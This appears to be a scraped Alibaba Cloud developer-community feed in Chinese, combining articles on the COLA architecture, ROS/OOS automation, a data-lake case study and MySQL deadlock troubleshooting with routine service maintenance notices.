    COLA 架构是我团队自主研发的应用架构,目前已经开源。在 COLA 的设计中,我们充分汲取了经典架构的优秀思想。除此之外,我们补充了规范设计和扩展设计,并且使用 Archetype 的方式,将架构固化下来,以便可以快速的在开发中使用。

    COLA 开源地址:https://github.com/alibaba/COLA

    分层设计

    COLA 的分层是一种改良了的三层架构。主要是将传统的业务逻辑层拆分成应用层、领域层和基础实施层。如下图所示,左边是传统的分层架构,右边是 COLA 的分层架构。

    7.png

    其每一层的作用范围和含义如下:

    1)展现层(Presentation Layer):负责以 Rest 的格式接受 Web 请求,然后将请求路由给 Application 层执行,并返回视图模型(View Model),其载体通常是 DTO(Data Transfer Object);

    2)应用层(Application Layer):主要负责获取输入,组装上下文,做输入校验,调用领域层做业务处理,如果需要的话,发送消息通知。当然,层次是开放的,若有需要,应用层也可以直接访问基础实施层;

    3)领域层(Domain Layer):主要是封装了核心业务逻辑,并通过领域服务(Domain Service)和领域对象(Entities)的函数对外部提供业务逻辑的计算和处理;

    4)基础实施层(Infrastructure Layer)主要包含 Tunnel(数据通道)、Config 和 Common。这里我们使用 Tunnel 这个概念来对所有的数据来源进行抽象,这些数据来源可以是数据库(MySQL,NoSql)、搜索引擎、文件系统、也可以是 SOA 服务等;Config 负责应用的配置;Common 是通用的工具类。

    扩展设计

    对于只有一个业务的简单场景,对扩展性的要求并不突出,这也是为什么扩展设计常被忽略的原因,因为我们大部分的系统都是从单一业务开始的。但是随着业务场景越来越复杂,代码里面开始出现大量的if-else逻辑。此时除了常规的策略模式以外,我们可以考虑在架构层面提供统一的扩展解决方案。

    在扩展设计中,我们提炼出两个重要的概念,一个是业务身份,另一个是扩展点

    业务身份是指业务在系统唯一标识一个业务或者一个场景的标志。在具体实现中,我们使用 BizCode 来表示业务身份,其中 BizCode 采用类似 Java 包名命名空间的方式。例如,我们可以用“ali.tmall”表示阿里天猫业务,用“ali.tmall.car” 表示阿里天猫的汽车业务,而用"ali.tmall.car.aftermarket"代表这是阿里天猫的汽车业务的后市场场景。

    每个业务或者场景都可以实现一个或多个扩展点(ExtensionPoint),也就是说一个业务身份加上一个扩展点,可以唯一地确定一个扩展实现(Extension)。而这个业务身份和扩展点的组合,我们将其称之为扩展坐标(ExtensionCoordinate),如下图所示。

    8.png

    这样,通过业务身份+扩展点,我们就可以从框架层面实现对不同租户,不同业务,不同场景的扩展定制了。整个阿里业务中台正是基于这个思想,实现的多业务支撑的。

    规范设计

    任何事物都是规则性和随机性的组合。规范的意义就在于我们可以将规则性的东西固化下来,尽量减少随心所欲带来的复杂度,一致性可以降低系统复杂度。从命名到架构皆是如此,而架构本身就是一种规范和约束,破坏这个约束,也就破坏了架构。

    COLA 制定了一些列的规范:包括组件(Module)结构、包(Package)结构、命名等。

    比如对于组件,我们要求使用 COLA 的应用都应该遵循如下图所示的组件划分:

    9.png

    COLA 架构总览

    在架构思想上,COLA 主张像六边形架构那样,使用端口-适配器去解耦技术细节;主张像洋葱圈架构那样,以领域为核心,并通过依赖倒置反转领域层的依赖方向。最终形成如下图所示的组件关系。

    10.png

    换一个视角,从 COLA 应用处理响应一个请求的过程来看。COLA 使用了 CQRS 来分离命令和查询的职责,使用扩展点和元数据来提升应用的扩展性。整个处理流程如下图所示:

    11.png

    应用架构的核心

    纵观上面介绍的所有应用架构,我们可以发现一个共同点,就是“核心业务逻辑和技术细节分离”。

    12.png

    是的,六边形架构、洋葱圈架构、以及 COLA 架构的核心职责就是要做核心业务逻辑和技术细节的分离和解耦。

    试想一下,业务逻辑和技术细节糅杂在一起的情况,所有的代码都写在 ServiceImpl 里面,前几行代码是做 validation 的事,接下来几行是做 convert 的事,然后是几行业务处理逻辑的代码,穿插着,我们需要通过 RPC 或者 DAO 获取更多的数据,拿到数据后,又是几行 convert 的代码,在接上一段业务逻辑代码,然后还要落库,发消息.....等等。

    再简单的业务,按照上面这种写代码的方式,都会变得复杂,难维护。

    因此,我认为应用架构的核心使命就是要分离业务逻辑和技术细节。让核心业务逻辑可以反映领域模型和领域应用,可以复用,可以很容易被看懂。让技术细节在辅助实现业务功能的同时,可以被替换。

    最后我们发现,应用架构的道就是:“让上帝的归上帝,凯撒的归凯撒。”

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    玩转ECS第1讲 | 云上自动化部署和运维的正确姿势-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 演讲嘉宾简介:吴君印,阿里云资深技术专家。负责ECS整体服务层面的技术和产品架构工作,并负责阿里云智能内部OnECS的技术和产品架构工作,包括产品ECS云助手,运维编排OOS,资源编排ROS以及内部OnECS产品宙斯,致力于打造以ECS为中心的系统管理、自动化和DevOps体验。

    以下内容根据演讲视频以及PPT整理而成。观看回放
    更多课程请进入玩转ECS详情页”了解

    本次分享主要围绕以下三个方面:

        一、云上部署和运维的特点
        二、资源编排ROS
        三、运维编排OOS
    

    今天主要分享的内容是云上自动化部署和运维的正确姿势,下面先来看看云上部署相比于传统的RDC部署有哪些不同。

    一、云上部署和运维的特点

    无论是部署还是运维,在云上都有如下四个特点:

    image.png

    首先,可重复。在云上部署相对于传统RDC部署而言更加灵活,只需要编写一次模版就可以随时随地拉起一套环境,做到一键部署。目前有两种类型的环境部署,一种是测试环境、预发环境、生产环境。第二种是在不同地域进行部署,如北京地域、上海地域以及杭州地域。

    第二点,多环境保持一致。因为使用的是相同的模版进行部署,所有环境部署出来的结果都一样,这样可以避免人为错误,避免问题排查时的环境影响,环境造成的问题往往是最难排查的问题之一。

    第三点,可审计。所有操作均通过API,所有API操作都可以被审计,集成操作审计服务ActionTrail即可。

    第四点是DevOps。从环境部署到应用部署都模板化,版本管理使用Git,可以做代码评审、代码回滚。

    资源编排ROS和运维编排OOS

    阿里云针对云上部署和运维特点,推出了两个产品,包括资源编排ROS(Resource Orchestration Service)——解决自动化部署问题,运维编排OOS(Operation Orchestration Service)——解决自动化运维问题。两款编排产品除了支持ECS的实例,还支持其它阿里云的产品,如负载均衡,关系型数据库RDS,对象存储OSS等。

    image.png

    二、资源编排ROS

    资源编排ROS的典型场景

    资源编排ROS的典型场景主要有四种:
    • 第一种是部署模版,资源编排ROS是通过模版方式达到可以重复部署的目的,使用模版可以在任何时间任何地点拉起一套环境。
    • 第二种是MSP、ISV提供自己的部署模版,可以一键开出复杂的业务系统,如SAP HANA等系统,将部署时间缩短为几个小时。由于云上的环境都是标准的,只要有测试通过后的模版就可以在不同的环境、不同的账号中重复部署。
    • 第三是解决方案中心,阿里云通过自身多年服务客户和双11的经验,总结了大量的最佳实践,在解决方案中心中提供了很多高质量的模版,支持开箱即用。
    • 第四是CI/CD集成,在DevOps开发模式下,只有将部署模版放到CI/CD中才能打造DevOps的开发模式,轻松的做到蓝绿部署,并且支持阿里云云效。

    image.png

    ROS控制台及操作演示

    下图是资源编排ROS主页https://rosnext.console.aliyun.com/ ,上方对ROS产品进行了简单的介绍;下方是常见的部署架构作为示例模版。

    image.png

    左侧菜单栏中有“我的模版”和“模版示例”,其中我的模版是需要自定义的模版,模版示例中提供了大量常见的部署形式,如Jenkins、Kafka等。解决方案中心中是由阿里云解决方案架构师团队、最佳实践团队、各业务方团队和资源编排团队合作共建,将阿里云多年沉淀的最佳实践和针对各种场景的解决方案沉淀为资编排源模版,用户可以使用这些最佳实践模版使得云上部署更加安全高效。

    image.png

    “资源类型”模块中展示了ROS支持的阿里云云产品。

    image.png

    下面以构建我的模版LNMP-deom-1作为例子,模版以JSON格式表达,也支持YAML格式,最重要的是,还提供了可视化的架构图。

    image.png

    可以发现所有的资源都在VPC内部,包括关系型数据库RDS和ECS实例。图中两个ECS实例挂在负载均衡LoadBalance下面。

    image.png

    接着可以使用此模版创建资源栈,之后通过事件tab知道每一步创建步骤。在资源tab中看到所有被模版创建的资源,只需要点击资源ID,就可以打开实例详情页面。在输出tab在有显示一个网站链接,可以发现此次网站部署成功。参数tab中提供了每次模版的参数。当用户手动修改一些资源,与模版出现不一致时,可以使用检查资源偏差查看不同点。

    image.png

    三、运维编排OOS

    运维编排OOS的典型场景

    运维编排OOS的典型场景同样分为四种:
    • 首先是批量操作实例和执行远程命令,例如启动、停止等,相比于其它方式无需密码,无需登录,无需使用跳板机,且无需担心安全问题,运维编排使用了阿里云RAM进行控制。
    • 第二种场景是定时运维,在固定的时间执行制定的命令,相当于云上Cron服务,并且免托管,分布式。
    • 第三种场景是支持报警和事件驱动运维,当某个事件发生时自动触发告警任务。
    • 第四是提供大量丰富的公共模版,阿里云总结了大量的典型运维场景,并将总结成果开源到了Github上,欢迎大家贡献优质模版,共同打造运维社区。

    image.png

    OOS控制台及操作演示

    下图是运维编排OOS主页https://oos.console.aliyun.com/ ,左侧菜单栏中有批量操作实例模块,任务类型包含发送进程命令、批量下载文件、实例操作、实例属性修改等。批量管理软件模块中可以批量的给实例下载和安装常见的软件,在我的软件模块可以自行部署和卸载。

    image.png

    定时开关机模块中可以选择在指定的时间关闭、开启或重启实例。在包年包月的服务器情况下,客户需要在固定的时间升级临时宽带,等高峰过去后再下降,以达到节约成本的目的。在创建更新镜像模块中可以基于已有的实例进行更新,也可以基于已有的镜像创建实例,进一步更新,再创建新的镜像。

    定时运维模块可以在固定的时间和固定的地域执行指定的任务。告警与事件运维模块中若控制台上显示当某个事件发生时自动触发模版,比如CPU使用率过高时重启实例操作。

    image.png

    所有的模版都提供了可视化视图,提供了更加直观的展示方式,还提供了YAML和JSON两种格式的文本,方便用版本管理软件如Git进行管理。

    image.png

    下图展示的是批量操作实例,发送远程命令,命令内容是发送输出命令。之后选择实例,可以手动选择,可以指定实例标题,也可以指定实例资源组,或者上传csv文件,从ECS实例表中导出csv文件来选择实例。

    image.png

    在高级选项部分可以配置执行模式,如出现错误时继续执行还是暂停实例,设置并发速率,允许的最大错误次数等。

    image.png

    此外还有更加快速的执行实例命令方式,在实例列表模块中选择具体的实例,进入实例详情页后会显示本实例远程命令,显示了历史的执行命令,同时可以发送新的远程命令。其次在实例列表中同时选择多台实例,选择更多,发送远程命令,这时多台实例就可以同时执行命令。

    image.png

    使用ROS、OOS的部分阿里云产品

    下图中列出了支持ROS、OOS的常见阿里云产品,包括ACS容器服务、FC函数计算、SLS日志服务、SMC服务迁移中心等等,这与产品本身的部署场景契合。

    image.png

    云产品需要支持多种地域,阿里云有22个地域,使用ROS和OSS可以最大提高部署和运维效率。阿里云对内部系统变更有非常严格的要求,需要提供信息完整的变更单、申请、审批、以及需要为变更过程中可能出现的问题提前准备脚本。因此OSS会预先提供变更模版和回滚模版,从而提供自动化运维程度,降低人工错误。

    客户对自动化运维有不同的需要,从下图左侧可以分出运维的几个层次,从最底层的手动运维、到半手工,半自动化运维、再到高度自动化运维、标准化运维以及智能运维(AIOps)、大部分客户的需求集中在中间三层,大部分的公司处于半手工,半自动化运维,异或高度自动化的方式,少部分的公司更加激进的走到了更加标准化运维,享受到了更加DevOps的方式,阿里云自动化部署ROS和自动化运维OOS的主打场景可以满足这三个主要层次的自动化需求。

    image.png

    今天的分享到此结束,感兴趣的同学可持续关注云上自动化部署ROS和运维OOS产品动态。

    ]]>
    数据湖解决方案——广告行业解读-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 行业综述

    游戏市场需求旺盛,行业景气度持续提升
    据相关数据显示,我国广告投放刊例花费整体呈负增长趋势,2019年2月下降幅度最大达到18.3%,下降幅度虽然有所放缓,但是整体而言,我国广告投放刊例花费下降幅度仍然较大。2020年1月,我国广告投放刊例花费下滑5.6%。
    分媒体来看,传统广告媒介主要包括报纸媒体、杂志、广播、电视、户外媒体和售点等。2020年1月,报纸、杂志、广播等较为传统的广告媒介刊例下降幅度较大,报纸、杂志等纸媒下降了30%以上,广播媒介下降了19.5%。电视、传统户外同样下降了4.9%和9%;整体而言,传统媒体广告刊例花费呈下降趋势。
    与传统媒体广告相比,互联网广告市场规模逐渐上升。根据中关村互动营销实验室的数据,2010-2019年我国互联网广告市场增速虽然放缓,但是我国互联网广告市场规模呈现出逐年上升的发展趋势,2010-2019年我国互联网广告市场规模复合增速达40%以上。2019年我国互联网广告总收入约4367亿元人民币,相较上年增长18.22%,增幅较2018年略有放缓,但仍保持增长的态势。

    行业发展方向

    互联网广告时代正在来临,大数据驱动智能化精准广告投放
    随着互联网的普及,以及精准化程度高、性价比高、媒体质量优等优势,互联网广告迅速崛起,不断持续冲击传统媒介,市场份额持续上升:2016-2019年,我国互联网广告规模占整体广告市场规模比重持续上升,到2019年,互联网广告所占比重已超过50%。

    互联网媒体广告相对于传统广告而言具有较多优势,例如互联网广告形式更新频率比报刊广告、广播广告、电视广告等传统媒体更快,能快速适应市场环境的变化,是高度综合的媒体,扩容性高。互联网媒体广告的发展迅速较快,已不仅仅是展示广告,而是更加精准化、个性化和自动化,能够紧紧地把握市场潮流以及引领着技术的进步。
    

    面临的痛点

    大数据驱动下数据存储成难题,资源浪费成难题
    互联网广告平台的增加,一方面为读者提供了更多的阅读平台,但是背后产生了大量的阅览、订阅、购买数据,而这些数据的产生已经从过去的TB级向PB级甚至EB级跨越,而要利用好这些数据,需要大量的存储空间和计算资源,尤其是为了提高广告推送的准确率以及点击率,需要对大量的数据进行复杂的运算,而这给企业提出了难题。持有的资源过多,虽然可以满足业务需求,但是在空闲期间限制,如果不持有相应的资源,那么又不能很好的解决业务问题。如何很好的寻找业务和资源消耗的平衡点,摆在了各个广告投放企业眼前。

    数据湖解决方案

    阿里云数据湖解决方案,助力企业真正释放数据价值
    15.png
    基于阿里云对象存储OSS构建的数据湖解决方案,可以全面满足数据的存储、离线分析、交互查询等各种业务诉求,帮助解决上面提到的这些难题。
    首先,数据湖解决方案可为用户存储的数据提供高达12个9的可靠性,让数据安全存放,保障用户数据不丢不坏。

     其次,阿里云的数据湖解决方案,也是一套十分智能的解决方案。其中对象存储OSS,可以对接个多业务系统,存储来自不同业务系统的多种数据源,如些系统的原始数据、游戏日志数据等。等数据汇聚到数据湖之后,它的上层系统可以兼容多种计算引擎,如开源大数据引擎像Hive,Spark,阿里云EMR、DLA等,帮助用户便捷地实现数据处理和分析,不需要再重复拷贝多份。同时采用 Jindofs提供缓存加速方案,还可以获得比使用HDFS更好的体验。

    这样一套整体的数据存储、处理分析解决方案,能很大程度地减少系统兼容性问题,管理维护也更加简单,帮助IT人员从复杂且繁琐的运维中解放出来,更加专注在产品创新和业务模式的运营上。

    最佳案例实践

    客户简介
    客户是一家致力于为广告主企业构建贯穿消费者生命周期的流量网络,形成企业私有化的消费者数字资产。在国内享有很高的知名度。

    业务挑战
    1、智能流量平台的数据量在急剧增长,每天的业务日志数据在持续的产生和上传,曝光、点击、推送的数据在持续处理,每天新增的数据量已经在5TB左右,对整个数据处理系统提出了更高的要求。
    2、通过运用AI图像识别技术对内容场景进行智能识别与自动匹配,实现不同场景下的创意的精准匹配,真正实现千人千面千种场景的沟通。
    3、不断升级AI运算技术能力,建立不同营销目的下的流量协同过滤模型,实时进行流量优选,实现不同场景下的流量的高效使用。另外,从触达、互动到消费、忠诚,全面升级消费者各阶段的沟通体验,增值企业消费者数字资产。

    解决方案
    1、利用DLA+ OSS极致分析能力来应对业务波峰波谷。一方面轻松应对来自品牌客户的临时分析。另一方面利用DLA的强大计算能力,分析按月、季度广告投放,精确计算出一个品牌下面会有多少个活动,每个活动分媒体,分市场,分频道,分DMP的投放效果,进一步增强了加和智能流量平台为品牌营销带来的销售转化率。
    2、DLA提供的Serverless的弹性服务为按需收费,不需要购买固定的资源,完全契合业务潮汐带来的资源波动,满足弹性的分析需求,同时极大地降低了运维成本和使用成本。

    客户价值
    为客户的智能流量平台提供了性价比极高的处理方案。
    1、相对性价比提升30%,无需专门维护人员,按量付费,成本低。
    2、临时业务需求承接率提升200%~300%。
    3、即需即用,准备成本低,响应快速。平均任务耗时降低67%。
    4、代码通用,支持数据业务无缝迁移。
    5、海量资源存储在OSS上,对业务支撑效果超过自建平台。
    6、计费简明,业务成本方便计算。

    ]]>
    MySQL死锁系列-线上死锁问题排查思路-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 前言

    MySQL 死锁异常是我们经常会遇到的线上异常类别,一旦线上业务日间复杂,各种业务操作之间往往会产生锁冲突,有些会导致死锁异常。这种死锁异常一般要在特定时间特定数据和特定业务操作才会复现,并且分析解决时还需要了解 MySQL 锁冲突相关知识,所以一般遇到这些偶尔出现的死锁异常,往往一时没有头绪,不好处理。

    本篇文章会讲解一下如果线上发生了死锁异常,如何去排查和处理。除了系列前文讲解的有关加锁和锁冲突的原理还,还需要对 MySQl 死锁日志和 binlog 日志进行分析。

    线上死锁异常分析

    正文

    日常工作中,应对各类线上异常都要有我们自己的 SOP (标准作业流程) ,这样不仅能够提高自己的处理问题效率,也有助于将好的处理流程推广到团队,提高团队的整体处理异常能力。

    所以,面对线上偶发的 MySQL 死锁问题,我的排查处理过程如下:

    1. 线上错误日志报警发现死锁异常
    2. 查看错误日志的堆栈信息
    3. 查看 MySQL 死锁相关的日志
    4. 根据 binlog 查看死锁相关事务的执行内容
    5. 根据上述信息找出两个相互死锁的事务执行的 SQL 操作,根据本系列介绍的锁相关理论知识,进行分析推断死锁原因
    6. 修改业务代码

    根据1,2步骤可以找到死锁异常时进行回滚事务的具体业务,也就能够找到该事务执行的 SQL 语句。然后我们需要通过 3,4步骤找到死锁异常时另外一个事务,也就是最终获得锁的事务所执行的 SQL 语句,然后再进行锁冲突相关的分析。

    第一二步的线上错误日志和堆栈信息一般比较容易获得,第五步的分析 SQL 锁冲突原因中涉及的锁相关的理论在系列文章中都有介绍,没有了解的同学可以自行去阅读以下。

    下面我们就来重点说一下其中的第三四步骤,也就是如何查看死锁日志和 binlog 日志来找到死锁相关的 SQL 操作。

    死锁日志的获取

    发生死锁异常后,我们可以直接使用 show engine innodb status 命令获取死锁信息,但是该命令只能获取最近一次的死锁信息。所以,我们可以通过开启 InnoDB 的监控机制来获取实时的死锁信息,它会周期性(每隔 15 秒)打印 InnoDb 的运行状态到 mysqld 服务的错误日志文件中。

    InnoDb 的监控较为重要的有标准监控(Standard InnoDB Monitor)和 锁监控(InnoDB Lock Monitor),通过对应的系统参数可以将其开启。

    -- 开启标准监控
    set GLOBAL innodb_status_output=ON;
    -- 关闭标准监控
    set GLOBAL innodb_status_output=OFF;
    -- 开启锁监控
    set GLOBAL innodb_status_output_locks=ON;
    -- 关闭锁监控
    set GLOBAL innodb_status_output_locks=OFF;

    另外,MySQL 提供了一个系统参数 innodb_print_all_deadlocks 专门用于记录死锁日志,当发生死锁时,死锁日志会记录到 MySQL 的错误日志文件中。

    set GLOBAL innodb_print_all_deadlocks=ON;

    死锁日志的分析

    通过上述手段,我们可以拿到死锁日志,下图是我做实验触发死锁异常时获取的日志(省略的部分信息)。

    该日志会列出死锁发生的时间,死锁相关的事务,并显示出两个事务(可惜,多事务发生死锁时,也只显示两个事务)在发生死锁时执行的 SQL 语句、持有或等待的锁信息和最终回滚的事务

    下面,我们来一段一段的解读该日志中给出的信息,我们按照图中标注的顺序来介绍:

    TRANSACTION 2078, ACTIVE 74 sec starting index read // -1 事务一的基础信息,包括事务ID、活跃时间,当前运行状态

    表示的是 ACTIVE 74 sec 表示事务活动时间,starting index read 为事务当前正在运行的状态,可能的事务状态有:fetching rows,updating,deleting,inserting, starting index read 等状态。

    mysql tables in use 1, locked 1  // -2 使用一个table,并且有一个表锁
    LOCK WAIT 3 lock struct(s), heap size 1136, 2 row lock(s), undo log entries 1  // -3 涉及的锁结构和内存大小 

    tables in use 1 表示有一个表被使用,locked 1 表示有一个表锁。LOCK WAIT 表示事务正在等待锁,3 lock struct(s) 表示该事务的锁链表的长度为 3,每个链表节点代表该事务持有的一个锁结构,包括表锁,记录锁或 autoinc 锁等。heap size 1136 为事务分配的锁堆内存大小。

    2 row lock(s) 表示当前事务持有的行锁个数,通过遍历上面提到的 11 个锁结构,找出其中类型为 LOCK_REC 的记录数。undo log entries 1 表示当前事务有 1 个 undo log 记录,说明该事务已经更新了 1条记录。

    下面就是死锁日志中最为重要的持有或者待获取锁信息,如图中-5和-6行所示,通过它可以分析锁的具体类型和涉及的表,这些信息能辅助你按照系列文章的锁相关的知识来分析 SQL 的锁冲突

    RECORD LOCKS space id 2 page no 4 n bits 80 index PRIMARY of table `test`.`t` trx id 2078 lock_mode X locks rec but not gap  // -5 具体持有锁的信息
    RECORD LOCKS space id 2 page no 4 n bits 80 index PRIMARY of table `test`.`t` trx id 2078 lock_mode X locks rec but not gap waiting // -6 等待获取锁的信息

    《锁类型和加锁原理》 一文中我们说过,一共有四种类型的行锁:记录锁,间隙锁,Next-key 锁和插入意向锁。这四种锁对应的死锁日志各不相同,如下:

    • 记录锁(LOCK_REC_NOT_GAP): lock_mode X locks rec but not gap
    • 间隙锁(LOCK_GAP): lock_mode X locks gap before rec
    • Next-key 锁(LOCK_ORNIDARY): lock_mode X
    • 插入意向锁(LOCK_INSERT_INTENTION): lock_mode X locks gap before rec insert intention

    所以,按照死锁日志,我们发现事务一持有了 test.t 表上的记录锁,并且等待另一个记录锁。

    通过死锁日志,我们可以找到最终获得锁事务最后执行的 SQL,但是如果该事务执行了多条 SQL,这些信息就可能不够用的啦,我们需要完整的了解该事务所有执行的 SQL语句。这时,我们就需要从 binlog 日志中获取。

    binlog的获取和分析

    binlog 日志会完整记录事务执行的所有 SQL,借助它,我们就能找到最终获取锁事务所执行的全部 SQL。然后再进行具体的锁冲突分析。

    我们可以使用 MySQL 的命令行工具 Mysqlbinlog 远程获取线上数据库的 binlog 日志。具体命令如下所示:

    Mysqlbinlog -h127.0.0.1 -u root -p --read-from-remote-server binlog.000001 --base64-output=decode-rows -v

    其中 --base64-output=decode-rows 表示 row 模式 binlog日志,所以该方法只适用于 row 模式的 binlog日志,但是目前主流 MySQL 运维也都是把 binlog 日志设置为 row 模式,所以这点限制也就无伤大雅。-v 则表示将行事件重构成被注释掉的伪SQL语句。

    我们可以通过死锁日志中死锁发生的具体事件和最终获取锁事务正在执行的SQL的参数信息找到 binlog 中该事务的对应信息,比如我们可以直接通过死锁日志截图中的具体的时间 10点57分和 Tom1、Teddy2 等 SQL 的具体数据信息在 binlog 找到对应的位置,具体如下图所示。

    根据 binlog 的具体信息,我们可以清晰的找到最终获取锁事务所执行的所有 SQL 语句,也就能找到其对应的业务代码,接下来我们就能进行具体的锁冲突分析。

    小节

    死锁系列终于告一段落,如果大伙有什么疑问或者文中有什么错误,欢迎在下方留言讨论。也希望大家继续持续关注。

    个人博客,欢迎来玩

    ]]>
    【升级】10月消息队列MQ升级计划通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【消息队列MQ】【升级通知】

    升级窗口:

    北京时间2020年10月14日 22:00 - 2020年10月15日 04:00

    北京时间2020年10月21日 22:00 - 2020年10月22日 04:00

    北京时间2020年10月28日 22:00 - 2020年10月29日 04:00

    升级内容:所有地域的MQ服务(包含TCP、MQTT、HTTP接入方式)。

    升级影响:升级期间MQ控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端会自动重试机制,一般不会影响业务,但会有异常日志。

    升级期间,消息可能会有重复,应用应该按最值实践,做好消息的幂等;同时可能会有消息延迟的现象。如需在控制台进行管理操作,请避开维护时间段。HTTP接入可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。同时,您可使用监控管理功能对重要业务进行监控,具体设置方法请点击MQ控制台左侧监控报警菜单。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    【升级】10月13日Donuts注册局维护通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【域名】【Donuts注册局维护通知】

    维护时间:北京时间2020年10月13日 20:00-22:00

    维护内容:接到注册局的通知,注册局 / 注册商将于上述时间对后台系统进行维护升级。

    维护影响:届时 .chat 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

    1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

    2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【升级】堡垒机升级通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【堡垒机】【升级通知】

    1、升级窗口:2020年10月10日-11月30日 ;

    2、升级区域:升级国内站、国际站区域

    3、升级内容:

    堡垒机产品V3.2.10版本升级至V3.2.13版本,V3.2.13版本在系统架构、用户/主机配置、双因子手机号、支持语言等均进行了优化升级:  

    1)系统架构:支持高可用的双节点版本,提供带宽扩展包

    2)主机/用户配置:新建主机或用户可直接指定到相应的组

    3)用户向导:新增用户向导功能,更迅速的配置使用

    4)双因子手机号新增德国、澳洲、美东、美西、迪拜、东京、英国、印度、中国澳门的手机号码

    5)主机配置:标记已经释放的ecs,详细区分主机账号的报错信息

    6)维护功能:支持tcp端口检测

    4、升级方式:系统自动升级到最新版本

    5、升级影响:需要您提前断开正在运维的会话,保存会话数据

    ]]>
    【其他】8月28日边缘容器服务商业化通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【边缘容器服务】【商业化通知】

    商业化时间:

    北京时间2020年8月28日 14:30
    商业化内容:

    阿里云边缘容器服务已于2020年8月28日正式转商用化。

    边缘容器服务基于标准Kubernetes运行环境,提供Kubernetes 集群云端托管、边缘计算业务高度自治的能力。通过将边缘算力快速接入、统一管理、统一运维,轻松实现云边一体化协同的容器应用交付、运维和管控。

    商用后收费模式请参考产品计费文档:https://help.aliyun.com/document_detail/178718.htm

    关于边缘容器服务:https://help.aliyun.com/document_detail/124723.html


    ]]>
    【其他】9月29日ESSD PL0规格云盘商业化通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【ESSD PL0】【商业化通知】

    阿里云ESSD PL0规格云盘已经结束公测,于2020年9月29日正式商业化上线。此次上线的ESSD PL0规格云盘拥有最低百微秒时延,最大10000的IOPS,并且支持无损变配至ESSD系列其他规格。详细功能介绍以及价格信息请参考官网介绍

    ]]>
    【其他】10月23日ACK Pro商业化通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【ACK Pro】【商业化】

    商业化时间:

    北京时间2020年10月23日00:00

    商业化内容:

    容器服务ACK Pro版集群将于2020年10月23日00:00正式转为商用。针对许多对于生产环境有着高稳定性和高安全性要求的企业客户,ACK Pro版集群在ACK托管版集群的基础上进一步增强了可靠性、安全性,并且提供可赔付的SLA。

    转商用后定价计费请点此查看

    了解ACK Pro请点此查看


    ]]>
    【其他】商标局国庆/中秋期间服务器维护停止商标审核/递交申请通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【商标】【商标局国庆/中秋期间服务器维护停止商标审核/递交申请通知】

    维护时间:北京时间2020年10月1日-8日

    维护内容:因商标局国庆/中秋假期服务器维护,阿里云商标服务将于北京时间2020年10月1日-8日停止商标订单审核、递交商标申请。

    维护影响:阿里云商标服务将于2020年9月30日16:00停止递交商标注册申请,届时对您产生的影响包括:

    1、2020年9月30日16:00之后审核通过的订单将顺延至2020年10月9日递交;

    2、2020年9月30日递交的申请回执(申请号)将顺延至2020年10月9日后同步到订单中;

    3、2020年9月30日提交审核的商标订单将顺延至2020年10月9日开始审核

    在此期间购买阿里云商标服务、填写订单、支付费用及补齐材料等不受影响。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【其他】OpenAPI相关服务IP变更计划通知 Fri, 02 May 2025 09:39:03 +0800 【阿里云】【OpenAPI】【变更通知】

    变更窗口:

    北京时间2020年10月20日 00:00 - 2020年11月1号00:00

    变更内容:华北1(青岛)、华北2(北京)、华北3(张家口)、华北5(呼和浩特)、华东1(杭州)、华东2(上海)、华南1(深圳)、华东2金融云、华南1金融云、华北2政务云、香港、亚太东南1(新加坡)、亚太东南2(悉尼)、亚太东南5(雅加达)、亚太南部1(孟买)、中东东部1(迪拜)、欧洲中部1(法兰克福)、美国东部1(弗吉尼亚)、美国西部1(硅谷)、英国(伦敦)等地域的OpenAPI服务IP变更。

    变更影响:OpenAPI旧的的服务IP将下线不可用,如果您所负责的应用或安全策略中有涉及到硬编码阿里云OpenAPI的服务IP,请在变更前及时修改,以免变更后影响应用的正常运行。

    给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

    特别提醒:OpenAPI各服务的IP不定时会有变动,请不要以任务形式绑定固定IP,包括(不限于)自定义DNS、添加Hosts绑定、在安全组策略中绑定等行为,以免IP变动时对业务造成影响

    ]]>
    【升级】9月20日 .COM/.NET域名注册局系统维护通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【域名】【注册局维护通知】

    维护时间:北京时间2020年9月20日 09:00 - 09:45

    维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

    维护影响:届时 .com/.net 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

    1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

    2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【升级】9月22日MMX注册局维护通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【域名】【MMX注册局维护通知】

    维护时间:北京时间 2020年9月22日 13:00 - 15:00

    维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

